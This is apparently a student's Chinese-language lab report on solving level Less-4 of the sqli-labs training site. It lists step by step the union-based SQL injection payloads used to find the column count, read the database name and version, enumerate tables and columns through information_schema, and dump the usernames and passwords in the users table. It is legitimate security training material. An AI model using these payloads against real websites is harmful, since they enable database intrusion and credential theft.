Less-4实验报告
进入sqli-labs练习闯关选择less-4
步骤一:查看源码可知本关为字符注入
所以我们直接使用字符注入
步骤二:输入?id=1“) and 1=1 --+
步骤三:再次输入?id=1”) and 1=2 --+ 页面报错确定为字符注入
步骤四:首先需要知道该表有几列,可以通过order by获取代码:?id=1") order by 3 --+
步骤五:当order by参数为3时并未出现页面回显报错现象,由此可得知该表一共有3列。
步骤六:从页面回显可看出,3列数据中,只有2列可回显代码为?id=0”) union select 1,2,3 --+
步骤七:参数为0,id参数不存在于数据库,也可为负数,只回显2/3列来获取当前数据库和版本号!代码:?id=-1") union select 1,database(),version() --+
步骤八:information_schema.tables是系统表之一,记录着数据库当中所有的tables表;
where后面跟条件语句;
group_concat()将查询到结果连接起来,如果不用group_concat查询到的只是user表中的数据。
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的数据。
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+
步骤九:爆数据表后看到有四个表:emails、referers、uagents、users,一般账户名称放在user表中,所以对user进行爆破获取字段名 代码:?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
步骤十:观察到两个关键字段名password和username,构建语句获取每个id对应的用户和口令 代码:?Id=-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
由上可以看爆出的相对应用户和密码
至此less-4通关